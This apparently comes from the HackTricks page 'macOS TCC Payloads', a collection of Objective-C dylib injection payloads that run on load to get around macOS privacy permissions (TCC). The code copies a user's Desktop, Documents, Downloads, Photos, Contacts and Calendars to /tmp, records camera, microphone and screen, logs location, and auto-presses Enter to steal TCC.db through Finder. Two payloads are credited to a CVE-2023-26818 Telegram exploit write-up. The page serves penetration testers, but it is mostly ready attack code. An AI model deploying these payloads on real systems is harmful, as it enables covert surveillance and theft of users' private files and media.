macOS TCC Payloads

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Desktop

• Entitlement: None

• TCC: kTCCServiceSystemPolicyDesktopFolder

ObjetiveC

Copy $HOME/Desktop to /tmp/desktop.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
    NSString *tmpPhotosPath = @"/tmp/desktop";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Documents

• Entitlement: None

• TCC: kTCCServiceSystemPolicyDocumentsFolder

ObjetiveC

Copy $HOME/Documents to /tmp/documents.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
    NSString *tmpPhotosPath = @"/tmp/documents";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Downloads

• Entitlement: None

• TCC: kTCCServiceSystemPolicyDownloadsFolder

ObjetiveC

Copy $HOME/Downloads to /tmp/downloads.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
    NSString *tmpPhotosPath = @"/tmp/downloads";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Photos Library

• Entitlement: com.apple.security.personal-information.photos-library

• TCC: kTCCServicePhotos

ObjetiveC

Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
    NSString *tmpPhotosPath = @"/tmp/photos";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Contacts

• Entitlement: com.apple.security.personal-information.addressbook

• TCC: kTCCServiceAddressBook

ObjetiveC

Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
    NSString *tmpPhotosPath = @"/tmp/contacts";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Calendar

• Entitlement: com.apple.security.personal-information.calendars

• TCC: kTCCServiceCalendar

ObjectiveC

Copy $HOME/Library/Calendars to /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
    NSString *tmpPhotosPath = @"/tmp/calendars";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Shell

Camera

• Entitlement: com.apple.security.device.camera

• TCC: kTCCServiceCamera

ObjetiveC - Record

Record a 3s video and save it in /tmp/recording.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }
    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = @"/tmp/recording.mov";
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
    fclose(stderr); // Close the file stream
}

ObjectiveC - Check

Shell

Microphone

• Entitlement: com.apple.security.device.audio-input

• TCC: kTCCServiceMicrophone

ObjetiveC - Record

Record 5s of audio an store it in /tmp/recording.m4a

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }

    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

    freopen("/tmp/logs.txt", "a", stderr);
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    fclose(stderr); // Close the file stream
}

ObjectiveC - Check

Shell

Location

For an app to get the location, Location Services (from Privacy & Security) must be enabled, if not it won't be able to access it.

• Entitlement: com.apple.security.personal-information.location

• TCC: Granted in /var/db/locationd/clients.plist

ObjectiveC

Write the location in /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
    CLLocation *location = [locations lastObject];
    NSLog(@"Current location: %@", location);
    exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
    NSLog(@"Error getting location: %@", error);
    exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSLog(@"Getting location");
    CLLocationManager *locationManager = [[CLLocationManager alloc] init];
    LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
    locationManager.delegate = delegate;

    [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
    [locationManager startUpdatingLocation];

    NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
    while (true) {
        [runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    }

    NSLog(@"Location completed successfully.");
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Shell

Screen Recording

• Entitlement: None

• TCC: kTCCServiceScreenCapture

ObjectiveC

Record the main screen for 5s in /tmp/screen.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output 
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL 
    fromConnections:(NSArray *)connections 
    error:(NSError *)error {
    if (error) {
        NSLog(@"Recording error: %@", error);
    } else {
        NSLog(@"Recording finished successfully.");
    }
    exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if ([captureSession canAddInput:screenInput]) {
        [captureSession addInput:screenInput];
    }

    AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([captureSession canAddOutput:fileOutput]) {
        [captureSession addOutput:fileOutput];
    }

    [captureSession startRunning];

    MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
    [fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

    // Run the loop for 5 seconds to capture
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [fileOutput stopRecording];
    });

    CFRunLoopRun();
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Shell

Accessibility

• Entitlement: None

• TCC: kTCCServiceAccessibility

Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way

Accept TCC

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
    CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
    CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
    CGEventPost(kCGHIDEventTap, keyDownEvent);
    CGEventPost(kCGHIDEventTap, keyUpEvent);
    if (keyDownEvent) CFRelease(keyDownEvent);
    if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
    NSLog(@"Starting AppleScript");
    NSString *scriptSource = @"tell application \"Finder\"\n"
                             "set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
                             "set targetFolder to POSIX file \"/tmp\" as alias\n"
                             "duplicate file sourceFile to targetFolder with replacing\n"
                             "end tell\n";

    NSDictionary *errorDict = nil;
    NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
    [appleScript executeAndReturnError:&errorDict];

    if (errorDict) {
        NSLog(@"AppleScript Error: %@", errorDict);
    }
}

int main() {
    @autoreleasepool {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
            RunAppleScript();
        });

        // Simulate pressing the Enter key every 0.1 seconds
        NSLog(@"Starting key presses");
        for (int i = 0; i < 10; ++i) {
            SimulateKeyPress((CGKeyCode)36); // Key code for Enter
            usleep(100000); // 0.1 seconds
        }
    }
    return 0;
}

Keylogger

Accessibility is a very powerful permission, you could abuse it in other ways, for example you could perform the keystrokes attack just from it without needed to call System Events.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.